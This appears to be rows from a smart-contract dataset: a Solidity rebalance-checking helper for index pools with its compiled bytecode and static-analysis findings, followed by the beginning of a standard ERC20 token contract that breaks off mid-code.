address[] memory tokens
) internal view returns (uint256[] memory scores) {
try IScoringStrategy(strategy).getTokenScores(tokens) returns (uint256[] memory _scores) {
scores = _scores;
} catch {}
}
// Used to reduce stack overhead
struct SigmaMeta {
uint16 listID;
uint8 indexSize;
uint8 reweighIndex;
uint64 lastReweigh;
address strategy;
uint256 minScore;
uint256 maxScore;
}
function getSigmaMeta(address pool) internal view returns (SigmaMeta memory meta) {
ISigmaController.IndexPoolMeta memory _meta = SIGMA_CONTROLLER.indexPoolMetadata(pool);
meta.listID = _meta.listID;
meta.indexSize = _meta.indexSize;
meta.reweighIndex = _meta.reweighIndex;
meta.lastReweigh = _meta.lastReweigh;
(meta.strategy, meta.minScore, meta.maxScore) = SIGMA_CONTROLLER.getTokenListConfig(_meta.listID);
}
function checkSigmaScores(SigmaMeta memory meta) internal view returns (Troolean strategyOK, Troolean tokenCountOK) {
address[] memory categoryTokens = SIGMA_CONTROLLER.getTokenList(meta.listID);
uint256[] memory scores = tryGetScores(meta.strategy, categoryTokens);
strategyOK = troolify(scores.length > 0);
if (strategyOK == Troolean.FALSE) {
tokenCountOK = Troolean.UNKNOWN;
} else {
uint256 numValid;
for (uint256 i; i < scores.length; i++) {
uint256 score = scores[i];
if (score >= meta.minScore && score <= meta.maxScore) {
numValid++;
}
}
tokenCountOK = troolify(numValid >= meta.indexSize);
}
}
function checkSigmaPool(IndexInfo memory info)
internal
view
returns (RebalanceRequirements memory reqs, address[] memory tokensNeedingUpdate)
{
reqs.sortOK = true;
SigmaMeta memory meta = getSigmaMeta(address(info.pool));
info.next = meta.reweighIndex % 4 == 3 ? RebalanceType.REINDEX : RebalanceType.REWEIGH;
reqs.delayOK = timeSince(meta.lastReweigh) >= POOL_REWEIGH_DELAY;
if (info.next == RebalanceType.REWEIGH) {
reqs.tokenCountOK = Troolean.TRUE;
address[] memory poolTokens = info.pool.getCurrentTokens();
tokensNeedingUpdate = checkUpdateNeeded(poolTokens, SHORT_MIN, SHORT_MAX);
if (tokensNeedingUpdate.length == 0) {
uint256[] memory scores = tryGetScores(meta.strategy, poolTokens);
reqs.strategyOK = troolify(scores.length > 0);
} else {
reqs.strategyOK = Troolean.UNKNOWN;
}
} else {
address[] memory categoryTokens = SIGMA_CONTROLLER.getTokenList(meta.listID);
tokensNeedingUpdate = checkUpdateNeeded(
categoryTokens,
LONG_MIN,
LONG_MAX
);
(address eToken,) = info.pool.extrapolatePoolValueFromToken();
if (!tokensNeedingUpdate.includes(eToken)) {
if (checkUpdateNeeded(eToken, SHORT_MIN, SHORT_MAX)) {
tokensNeedingUpdate.dynamicPush(eToken);
}
}
// If prices are ready, check if scores can be queried.
// If scores can be queried, tokenCountOK = # of scores between min/max scores >= meta.indexSize.
// If scores can not be queried, strategyOK = false
// If prices are not ready, strategyOK and tokenCountOK both UNKNOWN
if (tokensNeedingUpdate.length == 0) {
(reqs.strategyOK, reqs.tokenCountOK) = checkSigmaScores(meta);
} else {
reqs.strategyOK = Troolean.UNKNOWN;
reqs.tokenCountOK = Troolean.UNKNOWN;
}
}
reqs.twapOK = tokensNeedingUpdate.length == 0;
}
}
interface IScoringStrategy {
function getTokenScores(address[] calldata tokens) external view returns (uint256[] memory scores);
}
interface IOracle {
struct uq112x112 { uint224 _x; }
function computeAverageEthPrice(
address token, uint256 minTimeElapsed, uint256 maxTimeElapsed
) external view returns (uq112x112 memory);
}
interface IPool {
function getController() external view returns (address);
function getCurrentTokens() external view returns (address[] memory tokens);
function extrapolatePoolValueFromToken() external view returns (address/* token */, uint256/* extrapolatedValue */);
}
interface ISigmaController {
struct IndexPoolMeta {
bool initialized;
uint16 listID;
uint8 indexSize;
uint8 reweighIndex;
uint64 lastReweigh;
}
function indexPoolMetadata(address) external view returns (IndexPoolMeta memory);
function getTokenList(uint256 listID) external view returns (address[] memory tokens);
function getTokenListConfig(uint256 listID)
external
view
returns (
address scoringStrategy,
uint128 minimumScore,
uint128 maximumScore
);
}
interface ICoreController {
struct IndexPoolMeta {
bool initialized;
uint16 categoryID;
uint8 indexSize;
uint8 reweighIndex;
uint64 lastReweigh;
}
function getPoolMeta(address poolAddress) external view returns (IndexPoolMeta memory meta);
function getLastCategoryUpdate(uint256 categoryID) external view returns (uint256);
function getCategoryTokens(uint256 categoryID) external view returns (address[] memory tokens);
}
library DynamicArrays {
/**
* @dev Reserves space in memory for an array of length `size`, but sets the length to 0.
* This can be safely used for a dynamic array so long as the maximum possible size is
* known beforehand. If the array can exceed `size`, pushing to it will corrupt memory.
*/
function dynamicAddressArray(uint256 size) internal pure returns (address[] memory arr) {
arr = new address[](size);
assembly { mstore(arr, 0) }
}
/**
* @dev Reserves space in memory for an array of length `size`, but sets the length to 0.
* This can be safely used for a dynamic array so long as the maximum possible size is
* known beforehand. If the array can exceed length `size`, pushing to it will corrupt memory.
*/
function dynamicUint256Array(uint256 size) internal pure returns (uint256[] memory arr) {
arr = new uint256[](size);
assembly { mstore(arr, 0) }
}
/**
* @dev Pushes an address to an in-memory array by reassigning the array length and storing
* the element in the position used by solidity for the current array index.
* Note: This should ONLY be used on an array created with `dynamicAddressArray`. Using it
* on a typical array created with `new address[]()` will almost certainly have unintended
* and unpredictable side effects.
*/
function dynamicPush(address[] memory arr, address element) internal pure {
assembly {
let size := mload(arr)
let ptr := add(
add(arr, 32),
mul(size, 32)
)
mstore(ptr, element)
mstore(arr, add(size, 1))
}
}
/**
* @dev Pushes a uint256 to an in-memory array by reassigning the array length and storing
* the element in the position used by solidity for the current array index.
* Note: This should ONLY be used on an array created with `dynamicUint256Array`. Using it
* on a typical array created with `new uint256[]()` will almost certainly have unintended
* and unpredictable side effects.
*/
function dynamicPush(uint256[] memory arr, uint256 element) internal pure {
assembly {
let size := mload(arr)
let ptr := add(
add(arr, 32),
mul(size, 32)
)
mstore(ptr, element)
mstore(arr, add(size, 1))
}
}
function includes(address[] memory arr, address find) internal pure returns (bool) {
uint256 len = arr.length;
for (uint256 i; i < len; i++) if (arr[i] == find) return true;
return false;
}
}
|
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806315d9d2f91461006757806338013f02146100995780634b007440146100b75780638e6c4fe1146100e7578063fcde10cf14610117578063fe6b8aa614610135575b600080fd5b610081600480360381019061007c9190611886565b610153565b60405161009093929190611e62565b60405180910390f35b6100a1610256565b6040516100ae9190611e0c565b60405180910390f35b6100d160048036038101906100cc9190611963565b61026e565b6040516100de9190611dd6565b60405180910390f35b61010160048036038101906100fc91906119f3565b610324565b60405161010e9190611db4565b60405180910390f35b61011f610398565b60405161012c9190611df1565b60405180910390f35b61013d6103b0565b60405161014a9190611e27565b60405180910390f35b61015b6113ab565b6101636113f8565b606083836000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506101a6836103c8565b600060028111156101b357fe5b836020015160028111156101c357fe5b1415610204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101fb90611e42565b60405180910390fd5b6001600281111561021157fe5b8360200151600281111561022157fe5b141561023d5761023083610513565b809250819350505061024f565b61024683610972565b80925081935050505b9193909250565b73fa5a44d3ba93d666bf29c8804a36e725ecac659a81565b600073fa5a44d3ba93d666bf29c8804a36e725ecac659a73ffffffffffffffffffffffffffffffffffffffff16639691b1168585856040518463ffffffff1660e01b81526004016102c193929190611d7d565b60206040518083038186803b1580156102d957600080fd5b505afa92505050801561030a57506040513d601f19601f820116820180604052508101906103079190611aed565b60015b610317576001905061031d565b60009150505b9392505050565b606060008451905061033860018201610dd0565b915060005b8181101561038f57600086828151811061035357fe5b6020026020010151905061036881878761026e565b15610381576103808185610e2490919063ffffffff16565b5b50808060010191505061033d565b50509392505050565b73f00a38376c8668fc1f3cd3daeef42e0e44a7fcdb81565b735b470a8c134d397466a1a603678dadda678cbc2981565b6000816000015173ffffffffffffffffffffffffffffffffffffffff16633018205f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561041457600080fd5b505afa158015610428573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044c91906118af565b905073f00a38376c8668fc1f3cd3daeef42e0e44a7fcdb73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146104eb57735b470a8c134d397466a1a603678dadda678cbc2973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146104e35760006104e6565b60025b6104ee565b60015b826020019060028111156104fe57fe5b9081600281111561050b57fe5b815250505050565b61051b6113f8565b6060600073f00a38376c8668fc1f3cd3daeef42e0e44a7fcdb73ffffffffffffffffffffffffffffffffffffffff16630282667a85600001516040518263ffffffff1660e01b81526004016105709190611d62565b60a06040518083038186803b15801561058857600080fd5b505afa15801561059c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c09190611ac4565b905060036004826060015160ff16816105d557fe5b0660ff16146105e55760006105e8565b60015b846040019060018111156105f857fe5b9081600181111561060557fe5b8152505062093a80610624826080015167ffffffffffffffff16610e3e565b101583600001901515908115158152505060018360800190600281111561064757fe5b9081600281111561065457fe5b815250506000600181111561066557fe5b8460400151600181111561067557fe5b14156106c65761069c84600001516201518063ffffffff16620dd7c063ffffffff16610e4a565b91506001836060019060028111156106b057fe5b908160028111156106bd57fe5b81525050610958565b600073f00a38376c8668fc1f3cd3daeef42e0e44a7fcdb73ffffffffffffffffffffffffffffffffffffffff1663de105dbd83602001516040518263ffffffff1660e01b81526004016107199190611ea2565b60006040518083038186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061076e91906119b2565b905061078d816201518063ffffffff16620dd7c063ffffffff16610324565b92506201518061083c73f00a38376c8668fc1f3cd3daeef42e0e44a7fcdb73ffffffffffffffffffffffffffffffffffffffff1663f256a9d085602001516040518263ffffffff1660e01b81526004016107e79190611ea2565b60206040518083038186803b1580156107ff57600080fd5b505afa158015610813573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108379190611b16565b610e3e565b1115846040019015159081151581525050610861826040015160ff1682511015610ee2565b8460600190600281111561087157fe5b9081600281111561087e57fe5b815250506000856000015173ffffffffffffffffffffffffffffffffffffffff166398836f086040518163ffffffff1660e01b8152600401604080518083038186803b1580156108cd57600080fd5b505afa1580156108e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109059190611927565b50905061091b8185610efa90919063ffffffff16565b6109555761093b816104b063ffffffff166202a30063ffffffff1661026e565b15610954576109538185610e2490919063ffffffff16565b5b5b50505b600082511483602001901515908115158152505050915091565b61097a6113f8565b60606001826040019015159081151581525050600061099c8460000151610f78565b905060036004826040015160ff16816109b157fe5b0660ff16146109c15760006109c4565b60015b846040019060018111156109d457fe5b908160018111156109e157fe5b8152505062093a80610a00826060015167ffffffffffffffff16610e3e565b101583600001901515908115158152505060006001811115610a1e57fe5b84604001516001811115610a2e57fe5b1415610b7a57600183606001906002811115610a4657fe5b90816002811115610a5357fe5b815250506000846000015173ffffffffffffffffffffffffffffffffffffffff1663cc77828d6040518163ffffffff1660e01b815260040160006040518083038186803b158015610aa357600080fd5b505afa158015610ab7573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610ae091906119b2565b9050610afe816104b063ffffffff166202a30063ffffffff16610324565b9250600083511415610b50576000610b1a8360800151836111a1565b9050610b296000825111610ee2565b85608001906002811115610b3957fe5b90816002811115610b4657fe5b8152505050610b74565b600084608001906002811115610b6257fe5b90816002811115610b6f57fe5b815250505b50610db6565b6000735b470a8c134d397466a1a603678dadda678cbc2973ffffffffffffffffffffffffffffffffffffffff166341b63bd883600001516040518263ffffffff1660e01b8152600401610bcd9190611ea2565b60006040518083038186803b158015610be557600080fd5b505afa158015610bf9573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610c2291906119b2565b9050610c41816201518063ffffffff16620dd7c063ffffffff16610324565b92506000856000015173ffffffffffffffffffffffffffffffffffffffff166398836f086040518163ffffffff1660e01b8152600401604080518083038186803b158015610c8e57600080fd5b505afa158015610ca2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc69190611927565b509050610cdc8185610efa90919063ffffffff16565b610d1657610cfc816104b063ffffffff166202a30063ffffffff1661026e565b15610d1557610d148185610e2490919063ffffffff16565b5b5b600084511415610d6c57610d298361123e565b8660800187606001826002811115610d3d57fe5b6002811115610d4857fe5b815250826002811115610d5757fe5b6002811115610d6257fe5b8152505050610db3565b600085608001906002811115610d7e57fe5b90816002811115610d8b57fe5b81525050600085606001906002811115610da157fe5b90816002811115610dae57fe5b815250505b50505b600082511483602001901515908115158152505050915091565b60608167ffffffffffffffff81118015610de957600080fd5b50604051908082528060200260200182016040528015610e185781602001602082028036833780820191505090505b50905060008152919050565b815160208102602084010182815260018201845250505050565b60008142039050919050565b6060610ed98473ffffffffffffffffffffffffffffffffffffffff1663cc77828d6040518163ffffffff1660e01b815260040160006040518083038186803b158015610e9557600080fd5b505afa158015610ea9573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610ed291906119b2565b8484610324565b90509392505050565b600081610ef0576002610ef3565b60015b9050919050565b6000808351905060005b81811015610f6b578373ffffffffffffffffffffffffffffffffffffffff16858281518110610f2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415610f5e57600192505050610f72565b8080600101915050610f04565b5060009150505b92915050565b610f80611443565b6000735b470a8c134d397466a1a603678dadda678cbc2973ffffffffffffffffffffffffffffffffffffffff16639dfab092846040518263ffffffff1660e01b8152600401610fcf9190611d62565b60a06040518083038186803b158015610fe757600080fd5b505afa158015610ffb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101f9190611a9b565b90508060200151826000019061ffff16908161ffff16815250508060400151826020019060ff16908160ff16815250508060600151826040019060ff16908160ff16815250508060800151826060019067ffffffffffffffff16908167ffffffffffffffff1681525050735b470a8c134d397466a1a603678dadda678cbc2973ffffffffffffffffffffffffffffffffffffffff166313b7536082602001516040518263ffffffff1660e01b81526004016110da9190611ea2565b60606040518083038186803b1580156110f257600080fd5b505afa158015611106573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112a91906118d8565b816fffffffffffffffffffffffffffffffff169150806fffffffffffffffffffffffffffffffff169050846080018560a0018660c00183815250838152508373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050505050919050565b60608273ffffffffffffffffffffffffffffffffffffffff16631a861653836040518263ffffffff1660e01b81526004016111dc9190611db4565b60006040518083038186803b1580156111f457600080fd5b505afa92505050801561122a57506040513d6000823e3d601f19601f820116820180604052508101906112279190611a5a565b60015b61123357611238565b809150505b92915050565b6000806000735b470a8c134d397466a1a603678dadda678cbc2973ffffffffffffffffffffffffffffffffffffffff166341b63bd885600001516040518263ffffffff1660e01b81526004016112949190611ea2565b60006040518083038186803b1580156112ac57600080fd5b505afa1580156112c0573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906112e991906119b2565b905060006112fb8560800151836111a1565b905061130a6000825111610ee2565b935060028081111561131857fe5b84600281111561132457fe5b141561133357600092506113a4565b6000805b825181101561138c57600083828151811061134e57fe5b602002602001015190508760a00151811015801561137057508760c001518111155b1561137e5782806001019350505b508080600101915050611337565b506113a0866020015160ff16821015610ee2565b9350505b5050915091565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600060028111156113e057fe5b8152602001600060018111156113f257fe5b81525090565b6040518060a001604052806000151581526020016000151581526020016000151581526020016000600281111561142b57fe5b81526020016000600281111561143d57fe5b81525090565b6040518060e00160405280600061ffff168152602001600060ff168152602001600060ff168152602001600067ffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b60006114bd6114b884611eee565b611ebd565b905080838252602082019050828560208602820111156114dc57600080fd5b60005b8581101561150c57816114f288826115ee565b8452602084019350602083019250506001810190506114df565b5050509392505050565b600061152961152484611eee565b611ebd565b9050808382526020820190508285602086028201111561154857600080fd5b60005b85811015611578578161155e8882611603565b84526020840193506020830192505060018101905061154b565b5050509392505050565b600061159561159084611f1a565b611ebd565b905080838252602082019050828560208602820111156115b457600080fd5b60005b858110156115e457816115ca8882611847565b8452602084019350602083019250506001810190506115b7565b5050509392505050565b6000813590506115fd8161219a565b92915050565b6000815190506116128161219a565b92915050565b600082601f83011261162957600080fd5b81356116398482602086016114aa565b91505092915050565b600082601f83011261165357600080fd5b8151611663848260208601611516565b91505092915050565b600082601f83011261167d57600080fd5b815161168d848260208601611582565b91505092915050565b6000815190506116a5816121b1565b92915050565b600060a082840312156116bd57600080fd5b6116c760a0611ebd565b905060006116d784828501611696565b60008301525060206116eb84828501611808565b60208301525060406116ff84828501611871565b604083015250606061171384828501611871565b60608301525060806117278482850161185c565b60808301525092915050565b600060a0828403121561174557600080fd5b61174f60a0611ebd565b9050600061175f84828501611696565b600083015250602061177384828501611808565b602083015250604061178784828501611871565b604083015250606061179b84828501611871565b60608301525060806117af8482850161185c565b60808301525092915050565b6000602082840312156117cd57600080fd5b6117d76020611ebd565b905060006117e78482850161181d565b60008301525092915050565b600081519050611802816121c8565b92915050565b600081519050611817816121df565b92915050565b60008151905061182c816121f6565b92915050565b6000813590506118418161220d565b92915050565b6000815190506118568161220d565b92915050565b60008151905061186b81612224565b92915050565b6000815190506118808161223b565b92915050565b60006020828403121561189857600080fd5b60006118a6848285016115ee565b91505092915050565b6000602082840312156118c157600080fd5b60006118cf84828501611603565b91505092915050565b6000806000606084860312156118ed57600080fd5b60006118fb86828701611603565b935050602061190c868287016117f3565b925050604061191d868287016117f3565b9150509250925092565b6000806040838503121561193a57600080fd5b600061194885828601611603565b925050602061195985828601611847565b9150509250929050565b60008060006060848603121561197857600080fd5b6000611986868287016115ee565b935050602061199786828701611832565b92505060406119a886828701611832565b9150509250925092565b6000602082840312156119c457600080fd5b600082015167ffffffffffffffff8111156119de57600080fd5b6119ea84828501611642565b91505092915050565b600080600060608486031215611a0857600080fd5b600084013567ffffffffffffffff811115611a2257600080fd5b611a2e86828701611618565b9350506020611a3f86828701611832565b9250506040611a5086828701611832565b9150509250925092565b600060208284031215611a6c57600080fd5b600082015167ffffffffffffffff811115611a8657600080fd5b611a928482850161166c565b91505092915050565b600060a08284031215611aad57600080fd5b6000611abb848285016116ab565b91505092915050565b600060a08284031215611ad657600080fd5b6000611ae484828501611733565b91505092915050565b600060208284031215611aff57600080fd5b6000611b0d848285016117bb565b91505092915050565b600060208284031215611b2857600080fd5b6000611b3684828501611847565b91505092915050565b6000611b4b8383611b57565b60208301905092915050565b611b6081611f90565b82525050565b611b6f81611f90565b82525050565b6000611b8082611f56565b611b8a8185611f6e565b9350611b9583611f46565b8060005b83811015611bc6578151611bad8882611b3f565b9750611bb883611f61565b925050600181019050611b99565b5085935050505092915050565b611bdc81611fa2565b82525050565b611beb81611fa2565b82525050565b611bfa81612084565b82525050565b611c09816120a8565b82525050565b611c18816120cc565b82525050565b611c27816120f0565b82525050565b611c3681612114565b82525050565b611c4581612126565b82525050565b611c5481612138565b82525050565b6000611c67600c83611f7f565b91507f496e76616c696420706f6f6c00000000000000000000000000000000000000006000830152602082019050919050565b606082016000820151611cb06000850182611c0f565b506020820151611cc36020850182611c2d565b506040820151611cd66040850182611c3c565b50505050565b60a082016000820151611cf26000850182611bd3565b506020820151611d056020850182611bd3565b506040820151611d186040850182611bd3565b506060820151611d2b6060850182611c4b565b506080820151611d3e6080850182611c4b565b50505050565b611d4d8161214a565b82525050565b611d5c81612059565b82525050565b6000602082019050611d776000830184611b66565b92915050565b6000606082019050611d926000830186611b66565b611d9f6020830185611d53565b611dac6040830184611d53565b949350505050565b60006020820190508181036000830152611dce8184611b75565b905092915050565b6000602082019050611deb6000830184611be2565b92915050565b6000602082019050611e066000830184611bf1565b92915050565b6000602082019050611e216000830184611c00565b92915050565b6000602082019050611e3c6000830184611c1e565b92915050565b60006020820190508181036000830152611e5b81611c5a565b9050919050565b600061012082019050611e786000830186611c9a565b611e856060830185611cdc565b818103610100830152611e988184611b75565b9050949350505050565b6000602082019050611eb76000830184611d44565b92915050565b6000604051905081810181811067ffffffffffffffff82111715611ee457611ee361215c565b5b8060405250919050565b600067ffffffffffffffff821115611f0957611f0861215c565b5b602082029050602081019050919050565b600067ffffffffffffffff821115611f3557611f3461215c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611f9b82612011565b9050919050565b60008115159050919050565b6000819050611fbc8261215e565b919050565b6000819050611fcf82612172565b919050565b6000819050611fe282612186565b919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b600061208f82612096565b9050919050565b60006120a182612011565b9050919050565b60006120b3826120ba565b9050919050565b60006120c582612011565b9050919050565b60006120d7826120de565b9050919050565b60006120e982612011565b9050919050565b60006120fb82612102565b9050919050565b600061210d82612011565b9050919050565b600061211f82611fae565b9050919050565b600061213182611fc1565b9050919050565b600061214382611fd4565b9050919050565b600061215582612003565b9050919050565bfe5b6003811061216f5761216e61215c565b5b50565b600281106121835761218261215c565b5b50565b600381106121975761219661215c565b5b50565b6121a381611f90565b81146121ae57600080fd5b50565b6121ba81611fa2565b81146121c557600080fd5b50565b6121d181611fe7565b81146121dc57600080fd5b50565b6121e881612003565b81146121f357600080fd5b50565b6121ff81612031565b811461220a57600080fd5b50565b61221681612059565b811461222157600080fd5b50565b61222d81612063565b811461223857600080fd5b50565b61224481612077565b811461224f57600080fd5b5056fea2646970667358221220c4f9eca72922491614db1574b5ef2f595e10fdefd2bd46de7ae66d2803ae7e0364736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,276 |
0xb53189eb5ab4a0c866736b3a17ac5a847cdb5b55
|
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
